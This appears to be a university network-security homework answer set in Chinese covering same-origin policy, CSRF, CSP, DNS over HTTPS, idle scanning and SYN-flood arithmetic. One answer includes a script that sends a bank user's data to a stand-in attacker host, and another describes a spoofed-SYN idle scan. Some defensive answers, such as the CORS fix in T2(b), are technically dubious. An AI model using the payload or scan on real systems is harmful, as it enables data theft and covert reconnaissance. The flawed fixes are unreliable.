Homework 3

Edited by
牛午甲 PB20111656
潘云石 PB20111657
石磊鑫 PB20111658
孙霄鹃 PB20111659
陈　昊 PB20051077

T1

两个网页是否同源的判断依据是三点：协议、域名和端口。如果仅依据域名判断是否同源，攻击者可以进行如下攻击：考虑一个用户希望通过转到 `https://bank.example:8080/login` 登录他们的银行帐户。攻击者建立网站 `http://bank.example:8080` ，如果仅依据域名判断是否同源，网站和用户要登录的网站具有相同的来源。网站 `http://bank.example:8080` 的唯一目的是打开一个新的窗口，将用户重定向到 `https://bank.example:8080/login` 。此时，用户位于其银行的合法登录站点，就会输入账号和密码进行登录。但是按照修改后的同源策略， `http://bank.example:8080` 和 `https://bank.example:8080/login` 同源，前者能够直接访问后者的 DOM。因此攻击者只需要向用户的输入字段添加侦听器就可以获取用户名和密码，从而获得对用户银行帐户的访问权。同理，攻击者也可以使用其他端口，进行和上述类似的攻击。

T2

(a) `evil.com` 的页面可以通过嵌入一个 `<script>` 标签，指向bank.com的 `userdata.js` 文件，并重新编写 `displayData` 函数来获取John Doe的数据。当John Doe登录 `bank.com` 后，访问 `evil.com` ， `evil.com` 便会加载 `bank.com/userdata.js` 并执行 `displayData` ，将数据发送给 `evil.com`

```
<script>
function displayData(data) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "https://evil.com/steal.php");
    xhr.send(JSON.stringify(data));
}</script>
<script src="//bank.com/userdata.js"> </script>
```

(b) 可以使用CORS来限制只有 `bank.com` 域名允许访问 `userdata.js` 文件，从而防止这种攻击。
将 `accountInfo.html` 的(*)行修改为：

```
<script src="//bank.com/userdata.js" crossorigin="anonymous"> </script>
```

这样一来，浏览器将启用CORS。另外，服务器在 `userdata.js` 文件中添加一个响应头，指定 `Access-Control-Allow-Origin` 为 `bank.com` 。因此，只有来自 `bank.com` 的请求才能访问 `userdata.js` 文件，当 `evil.com` 试图访问 `userdata.js` 时会被浏览器拒绝。

T3

(a) 可以防御DNS欺骗和中间人攻击。通过使用HTTPS加密，可防止未经授权的第三方拦截和篡改DNS查询和响应，从而有助于维护DNS数据的隐私和完整性。
(b) 无法防御DNS缓存投毒攻击。这是因为HTTPS只能保护客户端和DNS解析器之间的通信，而缓存投毒是利用 DNS 服务器软件中的漏洞将虚假的 DNS 记录插入服务器的缓存中，是针对服务器端的操作，和HTTPS无关。
(c) DoH和DoT不能防御DNS被作为DDoS放大器使用。这些协议的是用来保护客户端和DNS解析器之间的连接的。放大攻击利用请求和响应之间的数据包大小差异，即使通信被加密，响应数据包仍然会很大。但是，DoH和DoT对TCP的依赖性可能会使攻击者更难伪造IP地址，这可能使DNS放大攻击难以进行。
(d) DoH和DoT不能防御DNS重绑定攻击。DNS重绑定攻击涉及利用DNS解析的客户端行为，通常与客户端和DNS解析器之间的通信无关，而DoH和DoT提供的加密通信只能保护客户端和DNS解析器之间的通信。

T4

(a) CSRF 攻击是一种针对依赖用户身份和权限执行操作的网站的网络漏洞。在 CSRF 攻击中，攻击者诱使受害者在目标网站上执行不知情的非法操作。例如，用户登录 `https://example.com/login` ，在通过了网站对用户的身份验证之后，浏览器中会有一个包含实时会话的 cookie。假设现在用户无意间访问攻击者控制的恶意网站 `https://evil.com` ，该恶意网站可能包含一段精心设计的 HTML 或 JavaScript 代码，触发对目标网站 `https://example.com` 的请求，例如更改账户设置、进行购买或提交表单。由于受害者在目标网站上已经通过身份验证，其浏览器会自动将必要的身份验证 cookie 或会话信息包含在请求中。目标网站接收到伪造的请求并进行处理，将其视为受害者发起的合法操作。结果是目标网站在受害者不知情的情况下执行了意外的操作。
(b) 假设令牌基于随机数或加密算法生成，并具有足够的复杂性和熵值，使其难以猜测。因此，攻击者只能直接从服务器获取令牌。由于令牌存储在受害者浏览器的同源页面的DOM中，浏览器的SOP将阻止任何具有不同来源的网站访问包含唯一会话令牌的DOM，攻击者无法从其恶意网站上的脚本中读取或修改该令牌。当用户进行操作时，服务器会验证令牌的有效性，只有在令牌有效且与用户会话关联时才接受请求。由于(a)中的攻击者将无法获得此令牌，因此服务器将拒绝请求。
(c) 将 CSRF 令牌选择为每个 HTTP 响应的随机字符串可以有效防止 CSRF 攻击。通过为每个HTTP响应生成一个全新的随机字符串，CSRF令牌在每个会话中都是唯一的且难以预测。这种随机性使得攻击者极难猜测令牌，因为他们尝试与服务器的任何连接都将需要知道现有会话的令牌才能构造成功的CSRF攻击。
(d) 在给定时间段内，在来自服务器的所有 HTTP 响应中使用相同的随机字符串作为 CSRF 令牌不能有效地防止 CSRF 攻击。这是因为固定的 CSRF 令牌对于每个用户和每个会话都是相同的，攻击者可以利用这个特性构造一个成功的CSRF攻击。例如攻击者先在自己的合法会话下向受害者服务器请求令牌，然后在攻击中使用获得的令牌。根据用户最近与受害者服务器交互的时间以及随机令牌的选择频率，将有一段时间攻击会成功。
(e) 因为SOP策略可以防止攻击者获得服务器提供的令牌。如果SOP策略不存在，攻击者将能够直接获得受害者浏览器的令牌，并将其与恶意请求一起发送，从而通过服务器的验证。

T5

(a) `script-src 'self'` ：这个CSP头部定义网页上执行JavaScript代码的策略，其中 `script-src` 指定浏览器允许加载和执行JavaScript代码的源，后面跟的 `'self'` 就是一个源表达式，表示当前页面的源。这个指令的目的是通知浏览器只允许与网站相同来源的脚本运行。它可以防止任何依赖于将脚本注入受害者站点的攻击，如XSS（跨站脚本攻击）。

(b) `frame-ancestors 'none'` ：这个CSP头部用于指定嵌入网页到框架或iframe中的策略。 `frame-ancestors` 后面跟源表达式，用于控制哪些源可以将网页嵌入到框架中。 `'none'` 是一个源表达式，表示禁止任何来源将网页嵌入到框架中。将源设为 `'none'` 有助于防止将合法站点嵌入攻击者的站点以帮助其进行网络钓鱼的攻击；还可以防止将网站嵌入到攻击者页面中并捕获用户与网站的交互，从而获取用户私有信息的攻击。

(c) `sandbox 'allow-scripts'` ： `sandbox` 使网页在沙盒中，对网页的执行进行限制。 `'allow-scripts'` 表示允许在沙盒环境中执行脚本。这个指令的目的是通知浏览器在沙盒环境中处理响应中的内容，从而能够限制响应的操作，例如防止执行恶意脚本等，以及强制执行同源策略。

- 当页面具有sandbox CSP头部时，其处于沙盒环境中，由于同源策略限制了JavaScript只能访问来自同一个源的cookie，而在沙箱中的页面无法通过同源策略，因此，它无法访问或读取www.xyz.com的cookie。
- 当一个页面想要在其中嵌入不受信任的内容时。通过使用该指令，网站可以将嵌入的内容隔离在安全的沙盒环境中。这有助于降低嵌入内容干扰网站功能或访问敏感数据的风险。

T6

1. a. 在一分钟时间窗口开始时，从主机A向主机P发送ICMP ping请求.
   b. 记录来自主机P的响应包的标识字段值ID1.
   c. 一分钟时间窗口结束后，从主机A向主机P发送另一个ICMP ping请求.
   d. 记录来自主机P的响应的标识字段值ID2.
   e. 如果 ID2 > ID1 + 1, 则说明在一分钟的时间窗口内，主机P已向其他主机发送了数据包.
2. a. 在主机A伪造一个源IP地址为主机P的IP地址的SYN包, 由 A 将这个包发送给 V.
   b. 由于这个 SYN 包的伪造的源IP为主机 P, 当 V 收到这个包时, 如果V的端口 n 开放, V 将会向主机 P 发送一个 SYN / ACK 包; 如果 V 的端口 n 关闭, V 将会向主机 P 发送一个 RST 包.
   c. 这时使用1.的方法观察接下来的一分钟时间窗口内, 主机P是否会向其他主机发送数据包. 如果 V 的端口 n 开放, P 将收到 SYN / ACK, 并向 V 发送 RST 数据包, 可以观察到P向其他主机发送了数据包; 如果 V 的端口 n 关闭, P 将收到RST数据包, 但 P 不会对其响应, 可以观察到 P 没有向其他主机发送数据包.

T7

1. 由于服务器需要重试5次才将表中请求清除，所以需要等待 $5 \times 30 = 150s$ 才会清除表中的一个请求。所以攻击者至少需要每隔150秒发送一次请求以保持表满，而整个表可以存储256个请求，因此请求的速率为$256/150 = 1.7次/s$。当每个包的大小为40字节，发送速率为：$1.7 \times 40 = 68bytes/s$。因此带宽为$68bytes/s$。
2. 所需要数据包：

- 0.5Mbps：链路容量为$0.5 \times 10^6 = 5 \times 10^5 bit/s$,数据包的大小为$500 \times 8 = 4000bit$。因此每秒需要数据包个数为：$5 \times 10^5/4000 = 125$
- 2Mbps：链路容量为$2 \times 10^6 = 2 \times 10^6 bit/s$,数据包的大小为$500 \times 8 = 4000bit$。因此每秒需要数据包个数为：$2 \times 10^6/4000 = 500$
- 10Mbps：链路容量为$10 \times 10^6 = 10^7 bit/s$,数据包的大小为$500 \times 8 = 4000bit$。因此每秒需要数据包个数为：$10^7/4000 = 2500$

消耗带宽：

- 0.5Mbps：数据包大小为60字节，带宽：$125 \times 60 = 7500bytes/s$。
- 2Mbps：带宽：$500 \times 60 = 30000bytes/s$
- 10Mbps：带宽：$2500 \times 60 = 150000bytes/s$